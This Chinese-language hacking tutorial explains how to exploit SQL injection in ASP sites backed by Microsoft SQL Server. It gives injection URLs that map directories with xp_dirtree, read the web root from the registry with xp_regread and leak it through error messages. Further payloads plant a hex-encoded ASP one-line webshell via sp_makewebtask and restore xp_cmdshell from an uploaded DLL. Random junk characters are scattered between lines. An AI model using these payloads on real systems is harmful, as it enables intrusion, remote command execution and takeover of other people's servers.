MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
8 g) a, b! J, N" G5 ~, o5 q2 u8 S# _假设我们在test里有两个文件夹test1和test2在test1里又有test3
  N2 T8 z" `# F1 {. p7 g* Z5 ?结果显示
9 f5 T9 z  K& ~$ B( @" B3 F
subdirectory depth
2 t+ P! P9 F! n- G! K) ^1 y& }4 Atest1 1
% h" }! u; [+ U2 s8 gtest3 2
test2 1

) ^' _1 P% w' Q& k2 E$ x哈哈发现没有那个depth就是目录的级数
ok了，知道怎么办了吧
9 g( e' w! ]3 V* e! p
4 x# f* J" \: Ahttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
; ?5 n% P5 D) C* H6 I  w) Hhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
0 i/ R" y7 B/ K/ @+ s' ^6 E. L) A; Bhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
2 @! W, H& P8 o. W& V) ?  z
" t1 P8 E+ e/ S只要加上id＝1，就是第一级目录 。


4 [: y4 k+ _6 c  \, ?6 Q! d! r$ v; q通过注册表读网站路径:

1.;create table [dbo].[cyfd] ([gyfd][char](255));

2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--

3.and 1=(select count(*) from 临时表 where 临时字段名>1)
. a8 s  Z& |7 D4 eand 1=(select count(*) from cyfd where gyfd > 1)
; @7 b2 o" C, x' }- p- ?$ l这样IE报错,就把刚才插进去的Web路径的值报出来了
2 l& Y8 I- f# O' C0 P+ q
# M1 q  B' S, x4.drop table cyfd;-- 删除临时表
) k; a0 ~; A- O" D
获得webshell方法:
  V  h" B. x* b! s: O# X% m1.create table cmd (a image)-- \**cmd是创建的临时表
4 c* u! C* G2 q8 x- [" D
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
1 g1 C  b+ w- l" d3 S' w. f

9 J! i- w- i! {# p3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
" h$ W) j) r% S$ m* lEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
! H1 s% \& X) }2 c* Q7 P/ l
4.drop table cmd;-- 删除cmd临时表

+ J1 ^/ ?: J1 G: G恢复xp_cmdshell方法之一:
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
3 F( a5 Q) }5 U4 Q: ^" C" }5 b7 Qhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
3 {6 G& C! r9 M" x+ e! k4 n恢复，支持绝对路径的恢复哦。：）
% N/ ~6 X: z+ y: x1 W2 }8 C